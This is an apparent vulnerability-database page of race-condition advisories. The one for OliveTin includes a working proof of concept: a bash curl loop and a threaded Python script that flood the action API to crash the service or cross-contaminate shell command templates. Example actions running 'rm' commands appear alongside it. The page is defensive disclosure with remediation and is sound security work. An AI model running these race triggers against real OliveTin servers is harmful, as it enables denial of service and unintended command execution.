Common Weakness Enumeration

CWE-362

Allowed-with-Review

Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')

Abstraction: Class · Status: Draft

API response cwe.mitre.org

The product contains a concurrent code sequence that requires temporary, exclusive access to a shared resource, but a timing window exists in which the shared resource can be modified by another code sequence operating concurrently.

2922 vulnerabilities reference this CWE, most recent first.

GHSA-7FMV-J8G9-PP43

Vulnerability from github – Published: 2022-05-01 23:42 – Updated: 2022-05-01 23:42
VLAI
Details

inetd on Sun Solaris 10, when debug logging is enabled, allows local users to write to arbitrary files via a symlink attack on the /var/tmp/inetd.log temporary file.

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2008-1684"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-362",
      "CWE-59"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2008-04-06T23:44:00Z",
    "severity": "MODERATE"
  },
  "details": "inetd on Sun Solaris 10, when debug logging is enabled, allows local users to write to arbitrary files via a symlink attack on the /var/tmp/inetd.log temporary file.",
  "id": "GHSA-7fmv-j8g9-pp43",
  "modified": "2022-05-01T23:42:27Z",
  "published": "2022-05-01T23:42:27Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2008-1684"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/41626"
    },
    {
      "type": "WEB",
      "url": "https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A5369"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/29654"
    },
    {
      "type": "WEB",
      "url": "http://securitytracker.com/id?1019781"
    },
    {
      "type": "WEB",
      "url": "http://sunsolve.sun.com/search/document.do?assetkey=1-26-233284-1"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/28584"
    },
    {
      "type": "WEB",
      "url": "http://www.vupen.com/english/advisories/2008/1076"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-7FQ5-7WR8-RJWJ

Vulnerability from github – Published: 2026-06-24 17:38 – Updated: 2026-07-20 21:32
VLAI
Summary
OliveTin has a Concurrent Template Parsing Race Condition which Leads to Cross-Request Command Contamination
Details

Summary

OliveTin's template engine uses a single shared text/template.Template instance (tpl package-level variable in service/internal/tpl/templates.go) across all goroutines. Every action execution calls tpl.Parse(source) followed by t.Execute() on this shared instance with no synchronization. When two or more actions execute concurrently (which is the normal case — each ExecRequest spawns a goroutine), a race condition occurs: one goroutine's Parse overwrites the template tree while another goroutine is calling Execute, causing:

  1. Cross-user command contamination: User A's arguments rendered in User B's shell command template
  2. Go runtime panic: Concurrent map writes in Go's text/template internal structures cause a fatal crash
  3. Incorrect command execution: Template/argument mismatch produces unexpected or dangerous shell commands

CWE

  • CWE-362 (Concurrent Execution using Shared Resource with Improper Synchronization)
  • CWE-567 (Unsynchronized Access to Shared Data in a Multithreaded Context)

Affected Versions

  • All versions (the shared template has existed since the template system was introduced)

Details

The Shared Template Instance

In service/internal/tpl/templates.go:

var tpl = template.New("tpl").
    Option("missingkey=error").
    Funcs(template.FuncMap{"Json": jsonFunc})

This is a package-level variable — a single *template.Template shared across the entire process.

Unsafe Parse + Execute Pattern

The parseTemplate function is called for every template rendering:

func parseTemplate(source string, data any) (string, error) {
    t, err := tpl.Parse(source)   // Modifies shared tpl's internal Tree
    if err != nil {
        return "", err
    }

    var sb strings.Builder
    err = t.Execute(&sb, data)    // Reads from tpl's internal Tree
    // ...
}

Critical: tpl.Parse(source) returns the same pointer as tpl (Go's template.Parse modifies the receiver and returns it). So t and tpl are the same object. When two goroutines call parseTemplate concurrently:

Goroutine A (Action "echo {{ .Arguments.name }}"):
  1. tpl.Parse("echo {{ .Arguments.name }}")     → sets tpl.Tree = TreeA
  2. t.Execute(&sb, {Arguments: {"name": "safe"}}) → walks TreeA

Goroutine B (Action "rm -rf {{ .Arguments.path }}"):
  1. tpl.Parse("rm -rf {{ .Arguments.path }}")   → sets tpl.Tree = TreeB
  2. t.Execute(&sb, {Arguments: {"path": "/tmp"}}) → walks TreeB

If the goroutines interleave:

  A.Parse(TreeA) → B.Parse(TreeB) → A.Execute(dataA) → executes TreeB with dataA!

Goroutine A would execute rm -rf {{ .Arguments.path }} with dataA — which either errors (missing key) or, if dataA happens to have a path argument, executes with an unintended value.

No Synchronization Exists

A search for any synchronization primitives in the tpl package confirms zero mutex, lock, or atomic operations:

$ grep -r "sync\.\|Mutex\|Lock\|mutex" service/internal/tpl/
(no results)

Concurrent Goroutine Confirmation

In service/internal/executor/executor.go, ExecRequest launches each action in a new goroutine:

func (e *Executor) ExecRequest(req *ExecutionRequest) (*sync.WaitGroup, string) {
    // ...
    go func() {
        e.execChain(req)    // Calls stepParseArgs → ParseTemplateWithActionContext → parseTemplate
        defer wg.Done()
    }()
    return wg, req.TrackingID
}

The execution chain includes stepParseArgs, which calls ParseTemplateWithActionContext, which calls parseTemplate. Multiple concurrent action executions will race on the shared tpl variable.

Go Runtime Crash Vector

Go's text/template.Parse internally modifies the template's common struct, which contains a tmpl map[string]*Template. In Go, concurrent map writes cause an unrecoverable fatal error:

fatal error: concurrent map writes
goroutine X [running]:
runtime.throw(...)

This is not a panic that can be recovered — it terminates the entire process. Two concurrent Parse calls can trigger this, crashing OliveTin.

Template Contamination Vector

Even without a crash, the race can produce dangerous results:

  1. User A triggers action: shell: "echo Hello {{ .Arguments.name }}" with name=Alice
  2. User B triggers action: shell: "sudo systemctl restart {{ .Arguments.service }}" with service=nginx
  3. Race occurs: User A's Execute runs on User B's parsed template
  4. If User A's arguments contain a service key, that value is substituted into sudo systemctl restart {{ .Arguments.service }}
  5. If User A's arguments do NOT contain service, missingkey=error causes an error — but only AFTER the template was already partially evaluated

Call Chain

API Request → ExecRequest (goroutine) → execChain → stepParseArgs
  → ParseTemplateWithActionContext → parseTemplate → tpl.Parse(source) + t.Execute(data)
                                                      ↑ RACE CONDITION ↑
                                                  (shared tpl variable)

PoC

Prerequisites

  • OliveTin instance with at least 2 configured actions
  • Ability to trigger concurrent action executions

Config

listenAddressSingleHTTPFrontend: 0.0.0.0:1337
logLevel: "DEBUG"
checkForUpdates: false

actions:
  - title: Safe Echo
    id: safe-echo
    shell: "echo 'Hello {{ .Arguments.name }}'"
    arguments:
      - name: name
        type: ascii

  - title: File Delete
    id: file-delete
    shell: "rm -f /tmp/{{ .Arguments.target }}"
    arguments:
      - name: target
        type: ascii_identifier

Step 1: Trigger concurrent executions

#!/bin/bash
# Fire 50 concurrent requests to maximize race window
for i in $(seq 1 50); do
  curl -s -X POST http://127.0.0.1:1337/api/StartAction \
    -H 'Content-Type: application/json' \
    -d '{"bindingId":"safe-echo","arguments":[{"name":"name","value":"Alice"}]}' &

  curl -s -X POST http://127.0.0.1:1337/api/StartAction \
    -H 'Content-Type: application/json' \
    -d '{"bindingId":"file-delete","arguments":[{"name":"target","value":"test"}]}' &
done
wait
echo "All requests sent"

Step 2: Check for crash

# If OliveTin crashed due to concurrent map writes:
curl -s http://127.0.0.1:1337/readyz
# Expected: Connection refused (process crashed)

Step 3: Check logs for contamination

# Look for mismatched template executions in the OliveTin logs
grep -E "missingkey|Error executing template|concurrent" /var/log/olivetin.log

Python PoC — Race Trigger

#!/usr/bin/env python3
"""PoC: Template Race Condition — Cross-Request Contamination

Triggers concurrent action executions to race on the shared
text/template instance in service/internal/tpl/templates.go.

Expected outcomes:
1. Go fatal error: concurrent map writes (process crash)
2. Template error: map has no entry for key (cross-contamination detected)
3. Silent contamination: arguments rendered in wrong template
"""

import requests
import threading
import time

TARGET = "http://127.0.0.1:1337"
THREADS = 20
ITERATIONS = 100

crash_detected = threading.Event()
errors_detected = []

def fire_action_a():
    """Trigger 'safe-echo' action repeatedly."""
    for _ in range(ITERATIONS):
        if crash_detected.is_set():
            break
        try:
            resp = requests.post(
                f"{TARGET}/api/StartAction",
                json={
                    "bindingId": "safe-echo",
                    "arguments": [{"name": "name", "value": "Alice"}]
                },
                headers={"Content-Type": "application/json"},
                timeout=5
            )
            if resp.status_code != 200:
                errors_detected.append(f"Action A error: {resp.status_code} {resp.text}")
        except requests.exceptions.ConnectionError:
            crash_detected.set()
            errors_detected.append("CONNECTION REFUSED — Server likely crashed!")
            break
        except Exception as e:
            errors_detected.append(f"Action A exception: {e}")

def fire_action_b():
    """Trigger 'file-delete' action repeatedly."""
    for _ in range(ITERATIONS):
        if crash_detected.is_set():
            break
        try:
            resp = requests.post(
                f"{TARGET}/api/StartAction",
                json={
                    "bindingId": "file-delete",
                    "arguments": [{"name": "target", "value": "test"}]
                },
                headers={"Content-Type": "application/json"},
                timeout=5
            )
            if resp.status_code != 200:
                errors_detected.append(f"Action B error: {resp.status_code} {resp.text}")
        except requests.exceptions.ConnectionError:
            crash_detected.set()
            errors_detected.append("CONNECTION REFUSED — Server likely crashed!")
            break
        except Exception as e:
            errors_detected.append(f"Action B exception: {e}")

if __name__ == "__main__":
    print(f"[*] Launching {THREADS * 2} threads, {ITERATIONS} iterations each")
    print(f"[*] Target: {TARGET}")

    threads = []
    for _ in range(THREADS):
        threads.append(threading.Thread(target=fire_action_a))
        threads.append(threading.Thread(target=fire_action_b))

    start = time.time()
    for t in threads:
        t.start()
    for t in threads:
        t.join()
    elapsed = time.time() - start

    print(f"\n[*] Completed in {elapsed:.1f}s")
    print(f"[*] Total requests: {THREADS * 2 * ITERATIONS}")

    if crash_detected.is_set():
        print("[!] SERVER CRASH DETECTED — concurrent map write panic")
    if errors_detected:
        print(f"[!] {len(errors_detected)} errors detected:")
        for err in errors_detected[:10]:
            print(f"    - {err}")
    else:
        print("[*] No errors detected (race window may not have been hit)")
        print("[*] Try increasing THREADS/ITERATIONS or checking server logs")

Go Race Detector Verification

If you can run OliveTin with Go's race detector enabled:

cd service
go run -race . &
# Then trigger concurrent requests — the race detector will confirm the data race

Expected output:

WARNING: DATA RACE
  Write by goroutine X:
    text/template.(*Template).Parse()
    service/internal/tpl/templates.go:XX

  Previous read by goroutine Y:
    text/template.(*Template).Execute()
    service/internal/tpl/templates.go:XX

Impact

  • Process Crash (DoS): Concurrent map writes in Go cause an unrecoverable fatal error, crashing the entire OliveTin service
  • Cross-User Command Contamination: User A's arguments may be rendered in User B's shell command template, potentially executing commands with wrong/dangerous arguments
  • Privilege Escalation via Contamination: If a low-privilege user's arguments contaminate a high-privilege action's template, the result could be unintended command execution
  • Data Leakage: Arguments (which may contain secrets like passwords) could be rendered in another user's action output

Remediation

  1. Create a new template per parse call instead of reusing the package-level singleton: go func parseTemplate(source string, data any) (string, error) { t, err := template.New(""). Option("missingkey=error"). Funcs(template.FuncMap{"Json": jsonFunc}). Parse(source) if err != nil { return "", err } var sb strings.Builder err = t.Execute(&sb, data) // ... }

  2. Alternative: Use template.Must(tpl.Clone()) to create a thread-safe copy per call: go func parseTemplate(source string, data any) (string, error) { clone, _ := tpl.Clone() t, err := clone.Parse(source) // ... }

  3. Alternative: Add a mutex around parseTemplate (but this serializes all template rendering and hurts performance): go var tplMutex sync.Mutex func parseTemplate(source string, data any) (string, error) { tplMutex.Lock() defer tplMutex.Unlock() // ... }

Option 1 (new template per call) is the recommended fix — it's simple, safe, and has negligible performance impact.

Resources

  • Go text/template documentation: "A Template's Parse method must not be called concurrently"
  • CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization
  • service/internal/tpl/templates.go — shared tpl variable and parseTemplate function
  • service/internal/executor/executor.go — ExecRequest goroutine launch (line ~524)
Severity
7.5 (High)
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c 0.0.0-20260521225117-d74da9314005-"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/OliveTin/OliveTin"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.0.0-20260521225117-d74da9314005"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-48708"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-362",
      "CWE-567"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-24T17:38:12Z",
    "nvd_published_at": "2026-06-15T21:17:15Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nOliveTin\u0027s template engine uses a **single shared `text/template.Template` instance** (`tpl` package-level variable in `service/internal/tpl/templates.go`) across all goroutines. Every action execution calls `tpl.Parse(source)` followed by `t.Execute()` on this shared instance with no synchronization. When two or more actions execute concurrently (which is the normal case \u2014 each `ExecRequest` spawns a goroutine), a race condition occurs: one goroutine\u0027s `Parse` overwrites the template tree while another goroutine is calling `Execute`, causing:\n\n1. **Cross-user command contamination**: User A\u0027s arguments rendered in User B\u0027s shell command template\n2. **Go runtime panic**: Concurrent map writes in Go\u0027s `text/template` internal structures cause a fatal crash\n3. **Incorrect command execution**: Template/argument mismatch produces unexpected or dangerous shell commands\n\n## CWE\n\n- CWE-362 (Concurrent Execution using Shared Resource with Improper Synchronization)\n- CWE-567 (Unsynchronized Access to Shared Data in a Multithreaded Context)\n\n## Affected Versions\n\n- All versions (the shared template has existed since the template system was introduced)\n\n## Details\n\n### The Shared Template Instance\n\nIn `service/internal/tpl/templates.go`:\n\n```go\nvar tpl = template.New(\"tpl\").\n    Option(\"missingkey=error\").\n    Funcs(template.FuncMap{\"Json\": jsonFunc})\n```\n\nThis is a **package-level variable** \u2014 a single `*template.Template` shared across the entire process.\n\n### Unsafe Parse + Execute Pattern\n\nThe `parseTemplate` function is called for every template rendering:\n\n```go\nfunc parseTemplate(source string, data any) (string, error) {\n    t, err := tpl.Parse(source)   // Modifies shared tpl\u0027s internal Tree\n    if err != nil {\n        return \"\", err\n    }\n\n    var sb strings.Builder\n    err = t.Execute(\u0026sb, data)    // Reads from tpl\u0027s internal Tree\n    // ...\n}\n```\n\n**Critical**: `tpl.Parse(source)` returns the same pointer as `tpl` (Go\u0027s `template.Parse` modifies the receiver and returns it). So `t` and `tpl` are the **same object**. When two goroutines call `parseTemplate` concurrently:\n\n```\nGoroutine A (Action \"echo {{ .Arguments.name }}\"):\n  1. tpl.Parse(\"echo {{ .Arguments.name }}\")     \u2192 sets tpl.Tree = TreeA\n  2. t.Execute(\u0026sb, {Arguments: {\"name\": \"safe\"}}) \u2192 walks TreeA\n\nGoroutine B (Action \"rm -rf {{ .Arguments.path }}\"):\n  1. tpl.Parse(\"rm -rf {{ .Arguments.path }}\")   \u2192 sets tpl.Tree = TreeB\n  2. t.Execute(\u0026sb, {Arguments: {\"path\": \"/tmp\"}}) \u2192 walks TreeB\n```\n\nIf the goroutines interleave:\n```\n  A.Parse(TreeA) \u2192 B.Parse(TreeB) \u2192 A.Execute(dataA) \u2192 executes TreeB with dataA!\n```\n\nGoroutine A would execute `rm -rf {{ .Arguments.path }}` with `dataA` \u2014 which either errors (missing key) or, if `dataA` happens to have a `path` argument, executes with an unintended value.\n\n### No Synchronization Exists\n\nA search for any synchronization primitives in the `tpl` package confirms **zero mutex, lock, or atomic operations**:\n\n```\n$ grep -r \"sync\\.\\|Mutex\\|Lock\\|mutex\" service/internal/tpl/\n(no results)\n```\n\n### Concurrent Goroutine Confirmation\n\nIn `service/internal/executor/executor.go`, `ExecRequest` launches each action in a new goroutine:\n\n```go\nfunc (e *Executor) ExecRequest(req *ExecutionRequest) (*sync.WaitGroup, string) {\n    // ...\n    go func() {\n        e.execChain(req)    // Calls stepParseArgs \u2192 ParseTemplateWithActionContext \u2192 parseTemplate\n        defer wg.Done()\n    }()\n    return wg, req.TrackingID\n}\n```\n\nThe execution chain includes `stepParseArgs`, which calls `ParseTemplateWithActionContext`, which calls `parseTemplate`. Multiple concurrent action executions will race on the shared `tpl` variable.\n\n### Go Runtime Crash Vector\n\nGo\u0027s `text/template.Parse` internally modifies the template\u0027s `common` struct, which contains a `tmpl map[string]*Template`. In Go, concurrent map writes cause an **unrecoverable fatal error**:\n\n```\nfatal error: concurrent map writes\ngoroutine X [running]:\nruntime.throw(...)\n```\n\nThis is not a panic that can be recovered \u2014 it terminates the entire process. Two concurrent `Parse` calls can trigger this, crashing OliveTin.\n\n### Template Contamination Vector\n\nEven without a crash, the race can produce dangerous results:\n\n1. **User A** triggers action: `shell: \"echo Hello {{ .Arguments.name }}\"` with `name=Alice`\n2. **User B** triggers action: `shell: \"sudo systemctl restart {{ .Arguments.service }}\"` with `service=nginx`\n3. Race occurs: User A\u0027s `Execute` runs on User B\u0027s parsed template\n4. If User A\u0027s arguments contain a `service` key, that value is substituted into `sudo systemctl restart {{ .Arguments.service }}`\n5. If User A\u0027s arguments do NOT contain `service`, `missingkey=error` causes an error \u2014 but only AFTER the template was already partially evaluated\n\n### Call Chain\n\n```\nAPI Request \u2192 ExecRequest (goroutine) \u2192 execChain \u2192 stepParseArgs\n  \u2192 ParseTemplateWithActionContext \u2192 parseTemplate \u2192 tpl.Parse(source) + t.Execute(data)\n                                                      \u2191 RACE CONDITION \u2191\n                                                  (shared tpl variable)\n```\n\n## PoC\n\n### Prerequisites\n\n- OliveTin instance with at least 2 configured actions\n- Ability to trigger concurrent action executions\n\n### Config\n\n```yaml\nlistenAddressSingleHTTPFrontend: 0.0.0.0:1337\nlogLevel: \"DEBUG\"\ncheckForUpdates: false\n\nactions:\n  - title: Safe Echo\n    id: safe-echo\n    shell: \"echo \u0027Hello {{ .Arguments.name }}\u0027\"\n    arguments:\n      - name: name\n        type: ascii\n\n  - title: File Delete\n    id: file-delete\n    shell: \"rm -f /tmp/{{ .Arguments.target }}\"\n    arguments:\n      - name: target\n        type: ascii_identifier\n```\n\n### Step 1: Trigger concurrent executions\n\n```bash\n#!/bin/bash\n# Fire 50 concurrent requests to maximize race window\nfor i in $(seq 1 50); do\n  curl -s -X POST http://127.0.0.1:1337/api/StartAction \\\n    -H \u0027Content-Type: application/json\u0027 \\\n    -d \u0027{\"bindingId\":\"safe-echo\",\"arguments\":[{\"name\":\"name\",\"value\":\"Alice\"}]}\u0027 \u0026\n\n  curl -s -X POST http://127.0.0.1:1337/api/StartAction \\\n    -H \u0027Content-Type: application/json\u0027 \\\n    -d \u0027{\"bindingId\":\"file-delete\",\"arguments\":[{\"name\":\"target\",\"value\":\"test\"}]}\u0027 \u0026\ndone\nwait\necho \"All requests sent\"\n```\n\n### Step 2: Check for crash\n\n```bash\n# If OliveTin crashed due to concurrent map writes:\ncurl -s http://127.0.0.1:1337/readyz\n# Expected: Connection refused (process crashed)\n```\n\n### Step 3: Check logs for contamination\n\n```bash\n# Look for mismatched template executions in the OliveTin logs\ngrep -E \"missingkey|Error executing template|concurrent\" /var/log/olivetin.log\n```\n\n### Python PoC \u2014 Race Trigger\n\n```python\n#!/usr/bin/env python3\n\"\"\"PoC: Template Race Condition \u2014 Cross-Request Contamination\n\nTriggers concurrent action executions to race on the shared\ntext/template instance in service/internal/tpl/templates.go.\n\nExpected outcomes:\n1. Go fatal error: concurrent map writes (process crash)\n2. Template error: map has no entry for key (cross-contamination detected)\n3. Silent contamination: arguments rendered in wrong template\n\"\"\"\n\nimport requests\nimport threading\nimport time\n\nTARGET = \"http://127.0.0.1:1337\"\nTHREADS = 20\nITERATIONS = 100\n\ncrash_detected = threading.Event()\nerrors_detected = []\n\ndef fire_action_a():\n    \"\"\"Trigger \u0027safe-echo\u0027 action repeatedly.\"\"\"\n    for _ in range(ITERATIONS):\n        if crash_detected.is_set():\n            break\n        try:\n            resp = requests.post(\n                f\"{TARGET}/api/StartAction\",\n                json={\n                    \"bindingId\": \"safe-echo\",\n                    \"arguments\": [{\"name\": \"name\", \"value\": \"Alice\"}]\n                },\n                headers={\"Content-Type\": \"application/json\"},\n                timeout=5\n            )\n            if resp.status_code != 200:\n                errors_detected.append(f\"Action A error: {resp.status_code} {resp.text}\")\n        except requests.exceptions.ConnectionError:\n            crash_detected.set()\n            errors_detected.append(\"CONNECTION REFUSED \u2014 Server likely crashed!\")\n            break\n        except Exception as e:\n            errors_detected.append(f\"Action A exception: {e}\")\n\ndef fire_action_b():\n    \"\"\"Trigger \u0027file-delete\u0027 action repeatedly.\"\"\"\n    for _ in range(ITERATIONS):\n        if crash_detected.is_set():\n            break\n        try:\n            resp = requests.post(\n                f\"{TARGET}/api/StartAction\",\n                json={\n                    \"bindingId\": \"file-delete\",\n                    \"arguments\": [{\"name\": \"target\", \"value\": \"test\"}]\n                },\n                headers={\"Content-Type\": \"application/json\"},\n                timeout=5\n            )\n            if resp.status_code != 200:\n                errors_detected.append(f\"Action B error: {resp.status_code} {resp.text}\")\n        except requests.exceptions.ConnectionError:\n            crash_detected.set()\n            errors_detected.append(\"CONNECTION REFUSED \u2014 Server likely crashed!\")\n            break\n        except Exception as e:\n            errors_detected.append(f\"Action B exception: {e}\")\n\nif __name__ == \"__main__\":\n    print(f\"[*] Launching {THREADS * 2} threads, {ITERATIONS} iterations each\")\n    print(f\"[*] Target: {TARGET}\")\n\n    threads = []\n    for _ in range(THREADS):\n        threads.append(threading.Thread(target=fire_action_a))\n        threads.append(threading.Thread(target=fire_action_b))\n\n    start = time.time()\n    for t in threads:\n        t.start()\n    for t in threads:\n        t.join()\n    elapsed = time.time() - start\n\n    print(f\"\\n[*] Completed in {elapsed:.1f}s\")\n    print(f\"[*] Total requests: {THREADS * 2 * ITERATIONS}\")\n\n    if crash_detected.is_set():\n        print(\"[!] SERVER CRASH DETECTED \u2014 concurrent map write panic\")\n    if errors_detected:\n        print(f\"[!] {len(errors_detected)} errors detected:\")\n        for err in errors_detected[:10]:\n            print(f\"    - {err}\")\n    else:\n        print(\"[*] No errors detected (race window may not have been hit)\")\n        print(\"[*] Try increasing THREADS/ITERATIONS or checking server logs\")\n```\n\n### Go Race Detector Verification\n\nIf you can run OliveTin with Go\u0027s race detector enabled:\n\n```bash\ncd service\ngo run -race . \u0026\n# Then trigger concurrent requests \u2014 the race detector will confirm the data race\n```\n\nExpected output:\n```\nWARNING: DATA RACE\n  Write by goroutine X:\n    text/template.(*Template).Parse()\n    service/internal/tpl/templates.go:XX\n\n  Previous read by goroutine Y:\n    text/template.(*Template).Execute()\n    service/internal/tpl/templates.go:XX\n```\n\n## Impact\n\n- **Process Crash (DoS)**: Concurrent map writes in Go cause an unrecoverable `fatal error`, crashing the entire OliveTin service\n- **Cross-User Command Contamination**: User A\u0027s arguments may be rendered in User B\u0027s shell command template, potentially executing commands with wrong/dangerous arguments\n- **Privilege Escalation via Contamination**: If a low-privilege user\u0027s arguments contaminate a high-privilege action\u0027s template, the result could be unintended command execution\n- **Data Leakage**: Arguments (which may contain secrets like passwords) could be rendered in another user\u0027s action output\n\n## Remediation\n\n1. **Create a new template per parse call** instead of reusing the package-level singleton:\n   ```go\n   func parseTemplate(source string, data any) (string, error) {\n       t, err := template.New(\"\").\n           Option(\"missingkey=error\").\n           Funcs(template.FuncMap{\"Json\": jsonFunc}).\n           Parse(source)\n       if err != nil {\n           return \"\", err\n       }\n       var sb strings.Builder\n       err = t.Execute(\u0026sb, data)\n       // ...\n   }\n   ```\n\n2. **Alternative**: Use `template.Must(tpl.Clone())` to create a thread-safe copy per call:\n   ```go\n   func parseTemplate(source string, data any) (string, error) {\n       clone, _ := tpl.Clone()\n       t, err := clone.Parse(source)\n       // ...\n   }\n   ```\n\n3. **Alternative**: Add a mutex around `parseTemplate` (but this serializes all template rendering and hurts performance):\n   ```go\n   var tplMutex sync.Mutex\n   func parseTemplate(source string, data any) (string, error) {\n       tplMutex.Lock()\n       defer tplMutex.Unlock()\n       // ...\n   }\n   ```\n\n   Option 1 (new template per call) is the recommended fix \u2014 it\u0027s simple, safe, and has negligible performance impact.\n\n## Resources\n\n- Go `text/template` documentation: \"A Template\u0027s Parse method must not be called concurrently\"\n- CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization\n- `service/internal/tpl/templates.go` \u2014 shared `tpl` variable and `parseTemplate` function\n- `service/internal/executor/executor.go` \u2014 `ExecRequest` goroutine launch (line ~524)",
  "id": "GHSA-7fq5-7wr8-rjwj",
  "modified": "2026-07-20T21:32:33Z",
  "published": "2026-06-24T17:38:12Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/OliveTin/OliveTin/security/advisories/GHSA-7fq5-7wr8-rjwj"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-48708"
    },
    {
      "type": "WEB",
      "url": "https://github.com/OliveTin/OliveTin/commit/d74da9314005954dd49fa20dabf272247bc76519"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/OliveTin/OliveTin"
    },
    {
      "type": "WEB",
      "url": "https://github.com/OliveTin/OliveTin/releases/tag/3000.13.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "OliveTin has a Concurrent Template Parsing Race Condition which Leads to Cross-Request Command Contamination"
}

GHSA-7FQW-QHGJ-3C8C

Vulnerability from github – Published: 2024-05-01 06:31 – Updated: 2024-06-16 15:30
VLAI
Details

In the Linux kernel, the following vulnerability has been resolved:

netfilter: nf_tables: Fix potential data-race in __nft_obj_type_get()

nft_unregister_obj() can concurrent with __nft_obj_type_get(), and there is not any protection when iterate over nf_tables_objects list in __nft_obj_type_get(). Therefore, there is potential data-race of nf_tables_objects list entry.

Use list_for_each_entry_rcu() to iterate over nf_tables_objects list in __nft_obj_type_get(), and use rcu_read_lock() in the caller nft_obj_type_get() to protect the entire type query process.

Severity
4.7 (Medium)
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-27019"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-362"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-05-01T06:15:20Z",
    "severity": "MODERATE"
  },
  "details": "In the Linux kernel, the following vulnerability has been resolved:\n\nnetfilter: nf_tables: Fix potential data-race in __nft_obj_type_get()\n\nnft_unregister_obj() can concurrent with __nft_obj_type_get(),\nand there is not any protection when iterate over nf_tables_objects\nlist in __nft_obj_type_get(). Therefore, there is potential data-race\nof nf_tables_objects list entry.\n\nUse list_for_each_entry_rcu() to iterate over nf_tables_objects\nlist in __nft_obj_type_get(), and use rcu_read_lock() in the caller\nnft_obj_type_get() to protect the entire type query process.",
  "id": "GHSA-7fqw-qhgj-3c8c",
  "modified": "2024-06-16T15:30:43Z",
  "published": "2024-05-01T06:31:43Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-27019"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/379bf7257bc5f2a1b1ca8514e08a871b7bf6d920"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/4ca946b19caf655a08d5e2266d4d5526025ebb73"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/ad333578f736d56920e090d7db1f8dec891d815e"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/cade34279c2249eafe528564bd2e203e4ff15f88"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/d78d867dcea69c328db30df665be5be7d0148484"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/df7c0fb8c2b9f9cac65659332581b19682a71349"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/4EZ6PJW7VOZ224TD7N4JZNU6KV32ZJ53"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/DAMSOZXJEPUOXW33WZYWCVAY7Z5S7OOY"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/GCBZZEC7L7KTWWAS2NLJK6SO3IZIL4WW"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-7FX7-755P-QMJJ

Vulnerability from github – Published: 2022-05-24 17:14 – Updated: 2022-10-07 18:15
VLAI
Details

KVM in the Linux kernel on Power8 processors has a conflicting use of HSTATE_HOST_R1 to store r1 state in kvmppc_hv_entry plus in kvmppc_{save,restore}_tm, leading to a stack corruption. Because of this, an attacker with the ability run code in kernel space of a guest VM can cause the host kernel to panic. There were two commits that, according to the reporter, introduced the vulnerability: f024ee098476 ("KVM: PPC: Book3S HV: Pull out TM state save/restore into separate procedures") 87a11bb6a7f7 ("KVM: PPC: Book3S HV: Work around XER[SO] bug in fake suspend mode") The former landed in 4.8, the latter in 4.17. This was fixed without realizing the impact in 4.18 with the following three commits, though it's believed the first is the only strictly necessary commit: 6f597c6b63b6 ("KVM: PPC: Book3S PR: Add guest MSR parameter for kvmppc_save_tm()/kvmppc_restore_tm()") 7b0e827c6970 ("KVM: PPC: Book3S HV: Factor fake-suspend handling out of kvmppc_save/restore_tm") 009c872a8bc4 ("KVM: PPC: Book3S PR: Move kvmppc_save_tm/kvmppc_restore_tm to separate file")

Severity
6.5 (Medium)
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2020-8834"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-362"
    ],
    "github_reviewed": false,
